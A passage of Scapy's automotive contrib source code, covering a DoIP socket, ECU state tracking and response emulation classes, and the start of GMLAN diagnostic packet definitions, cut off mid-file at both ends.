destination port, usually 13400 :param tls_port: destination port for TLS connection, usually 3496 :param activate_routing: If true, routing activation request is automatically sent :param source_address: DoIP source address :param target_address: DoIP target address, this is automatically determined if routing activation request is sent :param activation_type: This allows to set a different activation type for the routing activation request :param reserved_oem: Optional parameter to set value for reserved_oem field of routing activation request :param force_tls: Skip establishing of a TCP connection and directly try to connect via SSL/TLS :param context: Optional ssl.SSLContext object for initialization of ssl socket connections. :param doip_version: DoIP protocol version to use, default is 2 (ISO 13400-2012) :param enforce_doip_version: If true, the protocol_version field in each DoIP packet to be sent, is always set to the value of doip_version. Example: >>> socket = DoIPSocket("169.254.0.131") >>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000]) >>> resp = socket.sr1(pkt, timeout=1) """ # noqa: E501 def __init__(self, ip='127.0.0.1', # type: str port=13400, # type: int tls_port=3496, # type: int activate_routing=True, # type: bool source_address=0xe80, # type: int target_address=0, # type: int activation_type=0, # type: int reserved_oem=b"", # type: bytes force_tls=False, # type: bool context=None, # type: Optional[ssl.SSLContext] doip_version=2, # type: int enforce_doip_version=False, # type: bool ): # type: (...) -> None self.ip = ip self.port = port self.tls_port = tls_port self.activate_routing = activate_routing self.source_address = source_address self.target_address = target_address self.activation_type = activation_type self.reserved_oem = reserved_oem self.force_tls = force_tls self.context = context self.doip_version = doip_version self.enforce_doip_version = enforce_doip_version try: self._init_socket() except Exception: self.close() raise def _init_socket(self): # type: () -> None connected = False addrinfo = socket.getaddrinfo(self.ip, self.port, proto=socket.IPPROTO_TCP) sock_family = addrinfo[0][0] s = socket.socket(sock_family, socket.SOCK_STREAM) s.settimeout(5) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if not self.force_tls: s.connect(addrinfo[0][-1]) connected = True DoIPSSLStreamSocket.__init__(self, s) if not self.activate_routing: return activation_return = self._activate_routing() else: # Let's overwrite activation_return to force TLS Connection activation_return = 0x07 if activation_return == 0x10: # Routing successfully activated. return elif activation_return == 0x07: # Routing activation denied because the specified activation # type requires a secure TLS TCP_DATA socket. if self.context is None: raise ValueError("SSLContext 'context' can not be None") if connected: s.close() s = socket.socket(sock_family, socket.SOCK_STREAM) s.settimeout(5) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ss = self.context.wrap_socket(s) addrinfo = socket.getaddrinfo( self.ip, self.tls_port, proto=socket.IPPROTO_TCP) ss.connect(addrinfo[0][-1]) DoIPSSLStreamSocket.__init__(self, ss) if not self.activate_routing: return activation_return = self._activate_routing() if activation_return == 0x10: # Routing successfully activated. return else: raise Exception( "DoIPSocket activate_routing failed with " "routing_activation_response 0x%x" % activation_return) elif activation_return == -1: raise Exception("DoIPSocket._activate_routing failed") else: raise Exception( "DoIPSocket activate_routing failed with " "routing_activation_response 0x%x!" % activation_return) def _activate_routing(self): # type: (...) -> int resp = self.sr1( DoIP(payload_type=0x5, activation_type=self.activation_type, source_address=self.source_address, reserved_oem=self.reserved_oem), verbose=False, timeout=1) if resp and resp.payload_type == 0x6 and \ resp.routing_activation_response == 0x10: self.target_address = ( self.target_address or resp.logical_address_doip_entity) log_automotive.info( "Routing activation successful! Target address set to: 0x%x", self.target_address) else: log_automotive.error( "Routing activation failed! Response: %s", repr(resp)) if resp and resp.payload_type == 0x6: return resp.routing_activation_response else: return -1 def send(self, x): # type: (Packet) -> int if self.enforce_doip_version and isinstance(x, DoIP): x[DoIP].protocol_version = self.doip_version x[DoIP].inverse_version = 0xFF - self.doip_version return super().send(x) class UDS_DoIPSocket(DoIPSocket): """ Application-Layer socket for DoIP endpoints. This socket takes care about the encapsulation of UDS packets into DoIP packets. Example: >>> socket = UDS_DoIPSocket("169.254.117.238") >>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000]) >>> resp = socket.sr1(pkt, timeout=1) """ def send(self, x): # type: (Union[Packet, bytes]) -> int if isinstance(x, UDS): pkt = DoIP(payload_type=0x8001, source_address=self.source_address, target_address=self.target_address ) / x else: pkt = x try: x.sent_time = time.time() # type: ignore except AttributeError: pass return super().send(pkt) def recv(self, x=MTU, **kwargs): # type: (Optional[int], **Any) -> Optional[Packet] pkt = super().recv(x, **kwargs) if pkt and pkt.payload_type == 0x8001: return pkt.payload else: return pkt pass ================================================ FILE: scapy/contrib/automotive/ecu.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Helper class for tracking Ecu states (Ecu) # scapy.contrib.status = loads import time import random import copy import itertools from collections import defaultdict from types import GeneratorType from threading import Lock from scapy.compat import orb from scapy.packet import Raw, Packet from scapy.plist import PacketList from scapy.sessions import DefaultSession from scapy.ansmachine import AnsweringMachine from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception # Typing imports from typing import ( Any, Union, Iterable, Callable, List, Optional, Tuple, Type, cast, Dict, ) __all__ = ["EcuState", "Ecu", "EcuResponse", "EcuSession", "EcuAnsweringMachine"] class EcuState(object): """ Stores the state of an Ecu. The state is defined by a protocol, for example UDS or GMLAN. A EcuState supports comparison and serialization (command()). """ __slots__ = ["__dict__", "__cache__"] def __init__(self, **kwargs): # type: (Any) -> None self.__cache__ = None # type: Optional[Tuple[List[EcuState], List[Any]]] # noqa: E501 for k, v in kwargs.items(): if isinstance(v, GeneratorType): v = list(v) self.__setitem__(k, v) def _expand(self): # type: () -> List[EcuState] values = list(self.__dict__.values()) keys = list(self.__dict__.keys()) if self.__cache__ is None or self.__cache__[1] != values: expanded = list() for x in itertools.product(*[self._flatten(v) for v in values]): kwargs = {} for i, k in enumerate(keys): if x[i] is None: continue kwargs[k] = x[i] expanded.append(EcuState(**kwargs)) self.__cache__ = (expanded, values) return self.__cache__[0] @staticmethod def _flatten(x): # type: (Any) -> List[Any] if isinstance(x, (str, bytes)): return [x] elif hasattr(x, "__iter__") and hasattr(x, "__len__") and len(x) == 1: return list(*x) elif not hasattr(x, "__iter__"): return [x] flattened = list() for y in x: if hasattr(x, "__iter__"): flattened += EcuState._flatten(y) else: flattened += [y] return flattened def __delitem__(self, key): # type: (str) -> None self.__cache__ = None del self.__dict__[key] def __len__(self): # type: () -> int return len(self.__dict__.keys()) def __getitem__(self, item): # type: (str) -> Any return self.__dict__[item] def __setitem__(self, key, value): # type: (str, Any) -> None self.__cache__ = None self.__dict__[key] = value def __repr__(self): # type: () -> str return "".join(str(k) + str(v) for k, v in sorted(self.__dict__.items(), key=lambda t: t[0])) def __eq__(self, other): # type: (object) -> bool other = cast(EcuState, other) if len(self.__dict__) != len(other.__dict__): return False try: return all(self.__dict__[k] == other.__dict__[k] for k in self.__dict__.keys()) except KeyError: return False def __contains__(self, item): # type: (EcuState) -> bool if not isinstance(item, EcuState): return False return all(s in self._expand() for s in item._expand()) def __ne__(self, other): # type: (object) -> bool return not other == self def __lt__(self, other): # type: (EcuState) -> bool if self == other: return False if len(self) < len(other): return True if len(self) > len(other): return False common = set(self.__dict__.keys()).intersection( set(other.__dict__.keys())) for k in sorted(common): if not isinstance(other.__dict__[k], type(self.__dict__[k])): raise TypeError( "Can't compare %s with %s for the EcuState element %s" % (type(self.__dict__[k]), type(other.__dict__[k]), k)) if self.__dict__[k] < other.__dict__[k]: return True if self.__dict__[k] > other.__dict__[k]: return False if len(common) < len(self.__dict__): self_diffs = set(self.__dict__.keys()).difference( set(other.__dict__.keys())) other_diffs = set(other.__dict__.keys()).difference( set(self.__dict__.keys())) for s, o in zip(self_diffs, other_diffs): if s < o: return True return False raise TypeError("EcuStates should be identical. Something bad happen. " "self: %s other: %s" % (self.__dict__, other.__dict__)) def __hash__(self): # type: () -> int return hash(repr(self)) def reset(self): # type: () -> None self.__cache__ = None keys = list(self.__dict__.keys()) for k in keys: del self.__dict__[k] def command(self): # type: () -> str return "EcuState(" + ", ".join( ["%s=%s" % (k, repr(v)) for k, v in sorted( self.__dict__.items(), key=lambda t: t[0])]) + ")" @staticmethod def extend_pkt_with_modifier(cls): # type: (Type[Packet]) -> Callable[[Callable[[Packet, Packet, EcuState], None]], None] # noqa: E501 """ Decorator to add a function as 'modify_ecu_state' method to a given class. This allows dynamic modifications and additions to a protocol. :param cls: A packet class to be modified :return: Decorator function """ if len(cls.fields_desc) == 0: raise Scapy_Exception("Packets without fields can't be extended.") if hasattr(cls, "modify_ecu_state"): raise Scapy_Exception( "Class already extended. Can't override existing method.") def decorator_function(f): # type: (Callable[[Packet, Packet, EcuState], None]) -> None setattr(cls, "modify_ecu_state", f) return decorator_function @staticmethod def is_modifier_pkt(pkt): # type: (Packet) -> bool """ Helper function to determine if a Packet contains a layer that modifies the EcuState. :param pkt: Packet to be analyzed :return: True if pkt contains layer that implements modify_ecu_state """ return any(hasattr(layer, "modify_ecu_state") for layer in pkt.layers()) @staticmethod def get_modified_ecu_state(response, request, state, modify_in_place=False): # noqa: E501 # type: (Packet, Packet, EcuState, bool) -> EcuState """ Helper function to get a modified EcuState from a Packet and a previous EcuState. An EcuState is always modified after a response Packet is received. In some protocols, the belonging request packet is necessary to determine the precise state of the Ecu :param response: Response packet that supports `modify_ecu_state` :param request: Belonging request of the response that modifies Ecu :param state: The previous/current EcuState :param modify_in_place: If True, the given EcuState will be modified :return: The modified EcuState or a modified copy """ if modify_in_place: new_state = state else: new_state = copy.copy(state) for layer in response.layers(): if not hasattr(layer, "modify_ecu_state"): continue try: layer.modify_ecu_state(response, request, new_state) except TypeError: layer.modify_ecu_state.im_func(response, request, new_state) return new_state class Ecu(object): """An Ecu object can be used to * track the states of an Ecu. * to log all modification to an Ecu. * to extract supported responses of a real Ecu. Example: >>> print("This ecu logs, tracks and creates supported responses") >>> my_virtual_ecu = Ecu() >>> my_virtual_ecu.update(PacketList([...])) >>> my_virtual_ecu.supported_responses >>> print("Another ecu just tracks") >>> my_tracking_ecu = Ecu(logging=False, store_supported_responses=False) >>> my_tracking_ecu.update(PacketList([...])) >>> print("Another ecu just logs all modifications to it") >>> my_logging_ecu = Ecu(verbose=False, store_supported_responses=False) >>> my_logging_ecu.update(PacketList([...])) >>> my_logging_ecu.log >>> print("Another ecu just creates supported responses") >>> my_response_ecu = Ecu(verbose=False, logging=False) >>> my_response_ecu.update(PacketList([...])) >>> my_response_ecu.supported_responses Parameters to initialize an Ecu object :param logging: Turn logging on or off. Default is on. :param verbose: Turn tracking on or off. Default is on. :param store_supported_responses: Create a list of supported responses if True. :param lookahead: Configuration for lookahead when computing supported responses """ # noqa: E501 def __init__(self, logging=True, verbose=True, store_supported_responses=True, lookahead=10): # type: (bool, bool, bool, int) -> None self.state = EcuState() self.verbose = verbose self.logging = logging self.store_supported_responses = store_supported_responses self.lookahead = lookahead self.log = defaultdict(list) # type: Dict[str, List[Any]] self.__supported_responses = list() # type: List[EcuResponse] self.__unanswered_packets = PacketList() def reset(self): # type: () -> None """ Resets the internal state to a default EcuState. """ self.state = EcuState(session=1) def update(self, p): # type: (Union[Packet, PacketList]) -> None """ Processes a Packet or a list of Packets, according to the chosen configuration. :param p: Packet or list of Packets """ if isinstance(p, PacketList): for pkt in p: self.update(pkt) elif not isinstance(p, Packet): raise TypeError("Provide a Packet object for an update") else: self.__update(p) def __update(self, pkt): # type: (Packet) -> None """ Processes a Packet according to the chosen configuration. :param pkt: Packet to be processed """ if self.verbose: print(repr(self), repr(pkt)) if self.logging: self.__update_log(pkt) self.__update_supported_responses(pkt) def __update_log(self, pkt): # type: (Packet) -> None """ Checks if a packet or a layer of this packet supports the function `get_log`. If `get_log` is supported, this function will be executed and the returned log information is stored in the intern log of this Ecu object. :param pkt: A Packet to be processed for log information. """ for layer in pkt.layers(): if not hasattr(layer, "get_log"): continue try: log_key, log_value = layer.get_log(pkt) except TypeError: log_key, log_value = layer.get_log.im_func(pkt) self.log[log_key].append((pkt.time, log_value)) def __update_supported_responses(self, pkt): # type: (Packet) -> None """ Stores a given packet as supported response, if a matching request packet is found in a list of the latest unanswered packets. For performance improvements, this list of unanswered packets only contains a fixed number of packets, defined by the `lookahead` parameter of this Ecu. :param pkt: Packet to be processed. """ self.__unanswered_packets.append(pkt) reduced_plist = self.__unanswered_packets[-self.lookahead:] answered, unanswered = reduced_plist.sr(lookahead=self.lookahead) self.__unanswered_packets = unanswered for req, resp in answered: added = False current_state = copy.copy(self.state) EcuState.get_modified_ecu_state(resp, req, self.state, True) if not self.store_supported_responses: continue for sup_resp in self.__supported_responses: if resp == sup_resp.key_response: if sup_resp.states is not None and \ self.state not in sup_resp.states: sup_resp.states.append(current_state) added = True break if added: continue ecu_resp = EcuResponse(current_state, responses=resp) if self.verbose: print("[+] ", repr(ecu_resp)) self.__supported_responses.append(ecu_resp) @staticmethod def sort_key_func(resp): # type: (EcuResponse) -> Tuple[bool, int, int, int] """ This sorts responses in the following order: 1. Positive responses first 2. Lower ServiceIDs first 3. Less supported states first 4. Longer (more specific) responses first :param resp: EcuResponse to be sorted :return: Tuple as sort key """ first_layer = cast(Packet, resp.key_response[0]) # type: ignore service = orb(bytes(first_layer)[0]) return (service == 0x7f, service, 0xffffffff - len(resp.states or []), 0xffffffff - len(resp.key_response)) @property def supported_responses(self): # type: () -> List[EcuResponse] """ Returns a sorted list of supported responses. The sort is done in a way to provide the best possible results, if this list of supported responses is used to simulate an real world Ecu with the EcuAnsweringMachine object. :return: A sorted list of EcuResponse objects """ self.__supported_responses.sort(key=self.sort_key_func) return self.__supported_responses @property def unanswered_packets(self): # type: () -> PacketList """ A list of all unanswered packets, which were processed by this Ecu object. :return: PacketList of unanswered packets """ return self.__unanswered_packets def __repr__(self): # type: () -> str return repr(self.state) @staticmethod def extend_pkt_with_logging(cls): # type: (Type[Packet]) -> Callable[[Callable[[Packet], Tuple[str, Any]]], None] # noqa: E501 """ Decorator to add a function as 'get_log' method to a given class. This allows dynamic modifications and additions to a protocol. :param cls: A packet class to be modified :return: Decorator function """ def decorator_function(f): # type: (Callable[[Packet], Tuple[str, Any]]) -> None setattr(cls, "get_log", f) return decorator_function class EcuSession(DefaultSession): """ Tracks modification to an Ecu object 'on-the-flow'. The parameters for the internal Ecu object are obtained from the kwargs dict. `logging`: Turn logging on or off. Default is on. `verbose`: Turn tracking on or off. Default is on. `store_supported_responses`: Create a list of supported responses, if True. Example: >>> sniff(session=EcuSession) """ def __init__(self, *args, **kwargs): # type: (Any, Any) -> None self.ecu = Ecu(logging=kwargs.pop("logging", True), verbose=kwargs.pop("verbose", True), store_supported_responses=kwargs.pop("store_supported_responses", True)) # noqa: E501 super(EcuSession, self).__init__(*args, **kwargs) def process(self, pkt: Packet) -> Optional[Packet]: if not pkt: return None self.ecu.update(pkt) return pkt class EcuResponse: """Encapsulates responses and the according EcuStates. A list of this objects can be used to configure an EcuAnsweringMachine. This is useful, if you want to clone the behaviour of a real Ecu. Example: >>> EcuResponse(EcuState(session=2, security_level=2), responses=UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"deadbeef1")) >>> EcuResponse([EcuState(session=range(2, 5), security_level=2), EcuState(session=3, security_level=5)], responses=UDS()/UDS_RDBIPR(dataIdentifier=9)/Raw(b"deadbeef4")) Initialize an EcuResponse capsule :param state: EcuState or list of EcuStates in which this response is allowed to be sent. If no state provided, the response packet will always be send. :param responses: A Packet or a list of Packet objects. By default the last packet is asked if it answers an incoming packet. This allows to send for example `requestCorrectlyReceived-ResponsePending` packets. :param answers: Optional argument to provide a custom answer here: `lambda resp, req: return resp.answers(req)` This allows the modification of a response depending on a request. Custom SecurityAccess mechanisms can be implemented in this way or generic NegativeResponse messages which answers to everything can be realized in this way. """ # noqa: E501 def __init__(self, state=None, responses=Raw(b"\x7f\x10"), answers=None): # type: (Optional[Union[EcuState, Iterable[EcuState]]], Union[Iterable[Packet], PacketList, Packet], Optional[Callable[[Packet, Packet], bool]]) -> None # noqa: E501 if state is None: self.__states = None # type: Optional[List[EcuState]] else: if hasattr(state, "__iter__"): state = cast(List[EcuState], state) self.__states = state else: self.__states = [state] if isinstance(responses, PacketList): self.__responses = responses # type: PacketList elif isinstance(responses, Packet): self.__responses = PacketList([responses]) elif hasattr(responses, "__iter__"): responses = cast(List[Packet], responses) self.__responses = PacketList(responses) else: raise TypeError( "Can't handle type %s as response" % type(responses)) self.__custom_answers = answers @property def states(self): # type: () -> Optional[List[EcuState]] return self.__states @property def responses(self): # type: () -> PacketList return self.__responses @property def key_response(self): # type: () -> Packet pkt = self.__responses[-1] # type: Packet return pkt def supports_state(self, state): # type: (EcuState) -> bool if self.__states is None or len(self.__states) == 0: return True else: return any(s == state or state in s for s in self.__states) def answers(self, other): # type: (Packet) -> Union[int, bool] if self.__custom_answers is not None: return self.__custom_answers(self.key_response, other) else: return self.key_response.answers(other) def __repr__(self): # type: () -> str return "%s, responses=%s" % \ (repr(self.__states), [resp.summary() for resp in self.__responses]) def __eq__(self, other): # type: (object) -> bool other = cast(EcuResponse, other) responses_equal = \ len(self.responses) == len(other.responses) and \ all(bytes(x) == bytes(y) for x, y in zip(self.responses, other.responses)) if self.__states is None: return responses_equal else: return any(other.supports_state(s) for s in self.__states) and \ responses_equal def __ne__(self, other): # type: (object) -> bool # Python 2.7 compat return not self == other def command(self): # type: () -> str if self.__states is not None: return "EcuResponse(%s, responses=%s)" % ( "[" + ", ".join(s.command() for s in self.__states) + "]", "[" + ", ".join(p.command() for p in self.__responses) + "]") else: return "EcuResponse(responses=%s)" % "[" + ", ".join( p.command() for p in self.__responses) + "]" __hash__ = None # type: ignore class EcuAnsweringMachine(AnsweringMachine[PacketList]): """AnsweringMachine which emulates the basic behaviour of a real world ECU. Provide a list of ``EcuResponse`` objects to configure the behaviour of a AnsweringMachine. Usage: >>> resp = EcuResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10)) >>> sock = ISOTPSocket(can_iface, tx_id=0x700, rx_id=0x600, basecls=UDS) >>> answering_machine = EcuAnsweringMachine(supported_responses=[resp], main_socket=sock, basecls=UDS) >>> sim = threading.Thread(target=answering_machine, kwargs={'count': 4, 'timeout':5}) >>> sim.start() """ # noqa: E501 function_name = "EcuAnsweringMachine" sniff_options_list = ["store", "opened_socket", "count", "filter", "prn", "stop_filter", "timeout"] def parse_options( self, supported_responses=None, # type: Optional[List[EcuResponse]] main_socket=None, # type: Optional[SuperSocket] broadcast_socket=None, # type: Optional[SuperSocket] basecls=Raw, # type: Type[Packet] timeout=None, # type: Optional[Union[int, float]] initial_ecu_state=None # type: Optional[EcuState] ): # type: (...) -> None """ :param supported_responses: List of ``EcuResponse`` objects to define the behaviour. The default response is ``generalReject``. :param main_socket: Defines the object of the socket to send and receive packets. :param broadcast_socket: Defines the object of the broadcast socket. Listen-only, responds with the main_socket. `None` to disable broadcast capabilities. :param basecls: Provide a basecls of the used protocol :param timeout: Specifies the timeout for sniffing in seconds. """ self._main_socket = main_socket # type: Optional[SuperSocket] self._sockets = [self._main_socket] if broadcast_socket is not None: self._sockets.append(broadcast_socket) self._initial_ecu_state = initial_ecu_state or EcuState(session=1) self._ecu_state_mutex = Lock() self._ecu_state = copy.copy(self._initial_ecu_state) self._basecls = basecls # type: Type[Packet] self._supported_responses = supported_responses self.sniff_options["timeout"] = timeout self.sniff_options["opened_socket"] = self._sockets @property def state(self): # type: () -> EcuState return self._ecu_state def reset_state(self): # type: () -> None with self._ecu_state_mutex: self._ecu_state = copy.copy(self._initial_ecu_state) def is_request(self, req): # type: (Packet) -> bool return isinstance(req, self._basecls) def make_reply(self, req): # type: (Packet) -> PacketList """ Checks if a given request can be answered by the internal list of EcuResponses. First, it's evaluated if the internal EcuState of this AnsweringMachine is supported by an EcuResponse, next it's evaluated if a request answers the key_response of this EcuResponse object. The first fitting EcuResponse is used. If this EcuResponse modified the EcuState, the internal EcuState of this AnsweringMachine is updated, and the list of response Packets of the selected EcuResponse is returned. If no EcuResponse if found, a PacketList with a generic NegativeResponse is returned. :param req: A request packet :return: A list of response packets """ if self._supported_responses is not None: for resp in self._supported_responses: if not isinstance(resp, EcuResponse): raise TypeError("Unsupported type for response. " "Please use `EcuResponse` objects.") with self._ecu_state_mutex: if not resp.supports_state(self._ecu_state): continue if not resp.answers(req): continue EcuState.get_modified_ecu_state( resp.key_response, req, self._ecu_state, True) return resp.responses return PacketList([self._basecls( b"\x7f" + bytes(req)[0:1] + b"\x10")]) def send_reply(self, reply, send_function=None): # type: (PacketList, Optional[Any]) -> None """ Sends all Packets of a EcuResponse object. This allows to send multiple packets up on a request. If the list contains more than one packet, a random time between each packet is waited until the next packet will be sent. :param reply: List of packets to be sent. """ for p in reply: if len(reply) > 1: time.sleep(random.uniform(0.01, 0.5)) if self._main_socket: self._main_socket.send(p) ================================================ FILE: scapy/contrib/automotive/gm/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive gm specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/gm/gmlan.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Enrico Pozzobon # scapy.contrib.description = General Motors Local Area Network (GMLAN) # scapy.contrib.status = loads import struct from scapy.contrib.automotive import log_automotive from scapy.fields import ( ByteEnumField, ConditionalField, FieldListField, MayEnd, MultipleTypeField, ObservableDict, PacketField, PacketListField, ShortField, StrField, StrFixedLenField, X3BytesField, XByteEnumField, XByteField, XIntField, XShortEnumField, XShortField, ) from scapy.packet import Packet, bind_layers, NoPayload from scapy.config import conf from scapy.contrib.isotp import ISOTP """ GMLAN """ try: if conf.contribs['GMLAN']['treat-response-pending-as-answer']: pass except KeyError: # log_automotive.info("Specify \"conf.contribs['GMLAN'] = " # "{'treat-response-pending-as-answer': True}\" to treat " # "a negative response 'RequestCorrectlyReceived-" # "ResponsePending' as answer of a request. \n" # "The default value is False.") conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = None class GMLAN(ISOTP): @staticmethod def determine_len(x): if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] is None: log_automotive.warning( "Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " "Assign either 2,3 or 4") if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] \ not in [2, 3, 4]: log_automotive.warning( "Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " "Assign either 2,3 or 4") return conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == x services = ObservableDict( {0x04: 'ClearDiagnosticInformation', 0x10: 'InitiateDiagnosticOperation', 0x12: 'ReadFailureRecordData', 0x1a: 'ReadDataByIdentifier', 0x20: 'ReturnToNormalOperation', 0x22: 'ReadDataByParameterIdentifier', 0x23: 'ReadMemoryByAddress', 0x27: 'SecurityAccess', 0x28: 'DisableNormalCommunication', 0x2c: 'DynamicallyDefineMessage', 0x2d: 'DefinePIDByAddress', 0x34: 'RequestDownload', 0x36: 'TransferData', 0x3b: 'WriteDataByIdentifier', 0x3e: 'TesterPresent', 0x44: 'ClearDiagnosticInformationPositiveResponse', 0x50: 'InitiateDiagnosticOperationPositiveResponse', 0x52: 'ReadFailureRecordDataPositiveResponse', 0x5a: 'ReadDataByIdentifierPositiveResponse', 0x60: 'ReturnToNormalOperationPositiveResponse', 0x62: 'ReadDataByParameterIdentifierPositiveResponse', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x67: 'SecurityAccessPositiveResponse', 0x68: 'DisableNormalCommunicationPositiveResponse', 0x6c: 'DynamicallyDefineMessagePositiveResponse', 0x6d: 'DefinePIDByAddressPositiveResponse', 0x74: 'RequestDownloadPositiveResponse', 0x76: 'TransferDataPositiveResponse', 0x7b: 'WriteDataByIdentifierPositiveResponse', 0x7e: 'TesterPresentPositiveResponse', 0x7f: 'NegativeResponse', 0xa2: 'ReportProgrammingState', 0xa5: 'ProgrammingMode', 0xa9: 'ReadDiagnosticInformation', 0xaa: 'ReadDataByPacketIdentifier', 0xae: 'DeviceControl', 0xe2: 'ReportProgrammingStatePositiveResponse', 0xe5: 'ProgrammingModePositiveResponse', 0xe9: 'ReadDiagnosticInformationPositiveResponse', 0xea: 'ReadDataByPacketIdentifierPositiveResponse', 0xee: 'DeviceControlPositiveResponse'}) name = 'General Motors Local Area Network' fields_desc = [ XByteEnumField('service', 0, services) ] def answers(self, other): if not isinstance(other, type(self)): return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return True else: return self.payload.answers(other.payload) return False def hashret(self): if self.service == 0x7f: return struct.pack('B', self.requestServiceId & ~0x40) return struct.pack('B', self.service & ~0x40) # ########################IDO################################### class GMLAN_IDO(Packet): subfunctions = { 0x02: 'disableAllDTCs', 0x03: 'enableDTCsDuringDevCntrl', 0x04: 'wakeUpLinks'} name = 'InitiateDiagnosticOperation' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions) ] bind_layers(GMLAN, GMLAN_IDO, service=0x10) # ########################RFRD################################### class GMLAN_DTC(Packet): name = 'GMLAN DTC information' fields_desc = [ XByteField('failureRecordNumber', 0), XByteField('DTCHighByte', 0), XByteField('DTCLowByte', 0), XByteField('DTCFailureType', 0) ] def extract_padding(self, p): return "", p class GMLAN_RFRD(Packet): subfunctions = { 0x01: 'readFailureRecordIdentifiers', 0x02: 'readFailureRecordParameters'} name = 'ReadFailureRecordData' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ConditionalField(PacketField("dtc", b'', GMLAN_DTC), lambda pkt: pkt.subfunction == 0x02) ] bind_layers(GMLAN, GMLAN_RFRD, service=0x12) class GMLAN_RFRDPR(Packet): name = 'ReadFailureRecordDataPositiveResponse' fields_desc = [ ByteEnumField('subfunction', 0, GMLAN_RFRD.subfunctions) ] def answers(self, other): return isinstance(other, GMLAN_RFRD) and \ other.subfunction == self.subfunction bind_layers(GMLAN, GMLAN_RFRDPR, service=0x52) class GMLAN_RFRDPR_RFRI(Packet): failureRecordDataStructureIdentifiers = { 0x00: "PID", 0x01: "DPID" } name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordIdentifiers' fields_desc = [ ByteEnumField('failureRecordDataStructureIdentifier', 0, failureRecordDataStructureIdentifiers), PacketListField("dtcs", [], GMLAN_DTC) ] bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRI, subfunction=0x01) class GMLAN_RFRDPR_RFRP(Packet): name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordParameters' fields_desc = [ PacketField("dtc", b'', GMLAN_DTC) ] bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRP, subfunction=0x02) # ########################RDBI################################### class GMLAN_RDBI(Packet): dataIdentifiers = ObservableDict({ 0x90: "$90: VehicleIdentificationNumber (VIN)", 0x92: "$92: SystemSupplierId (SYSSUPPID)", 0x97: "$97: SystemNameOrEngineType (SNOET)", 0x98: "$98: RepairShopCodeOrTesterSerialNumber (RSCOTSN)", 0x99: "$99: ProgrammingDate (PD)", 0x9a: "$9a: DiagnosticDataIdentifier (DDI)", 0x9b: "$9b: XmlConfigurationCompatibilityIdentifier (XMLCCID)", 0x9C: "$9C: XmlDataFilePartNumber (XMLDFPN)", 0x9D: "$9D: XmlDataFileAlphaCode (XMLDFAC)", 0x9F: "$9F: PreviousStoredRepairShopCodeOrTesterSerialNumbers " "(PSRSCOTSN)", 0xA0: "$A0: manufacturers_enable_counter (MEC)", 0xA1: "$A1: ECUConfigurationOrCustomizationData (ECUCOCGD) 1", 0xA2: "$A2: ECUConfigurationOrCustomizationData (ECUCOCGD) 2", 0xA3: "$A3: ECUConfigurationOrCustomizationData (ECUCOCGD) 3", 0xA4: "$A4: ECUConfigurationOrCustomizationData (ECUCOCGD) 4", 0xA5: "$A5: ECUConfigurationOrCustomizationData (ECUCOCGD) 5", 0xA6: "$A6: ECUConfigurationOrCustomizationData (ECUCOCGD) 6", 0xA7: "$A7: ECUConfigurationOrCustomizationData (ECUCOCGD) 7", 0xA8: "$A8: ECUConfigurationOrCustomizationData (ECUCOCGD) 8", 0xB0: "$B0: ECUDiagnosticAddress (ECUADDR)", 0xB1: "$B1: ECUFunctionalSystemsAndVirtualDevices (ECUFSAVD)", 0xB2: "$B2: GM ManufacturingData (GMMD)", 0xB3: "$B3: Data Universal Numbering System Identification (DUNS)", 0xB4: "$B4: Manufacturing Traceability Characters (MTC)", 0xB5: "$B5: GM BroadcastCode (GMBC)", 0xB6: "$B6: GM Target Vehicle (GMTV)", 0xB7: "$B7: GM Software Usage Description (GMSUD)", 0xB8: "$B8: GM Bench Verification Information (GMBVI)", 0xB9: "$B9: Subnet_Config_List_HighSpeed (SCLHS)", 0xBA: "$BA: Subnet_Config_List_LowSpeed (SCLLS)", 0xBB: "$BB: Subnet_Config_List_MidSpeed (SCLMS)", 0xBC: "$BC: Subnet_Config_List_NonCan 1 (SCLNC 1)", 0xBD: "$BD: Subnet_Config_List_NonCan 2 (SCLNC 2)", 0xBE: "$BE: Subnet_Config_List_LIN (SCLLIN)", 0xBF: "$BF: Subnet_Config_List_GMLANChassisExpansionBus (SCLGCEB)", 0xC0: "$C0: BootSoftwarePartNumber (BSPN)", 0xC1: "$C1: SoftwareModuleIdentifier (SWMI) 01", 0xC2: "$C2: SoftwareModuleIdentifier (SWMI) 02", 0xC3: "$C3: 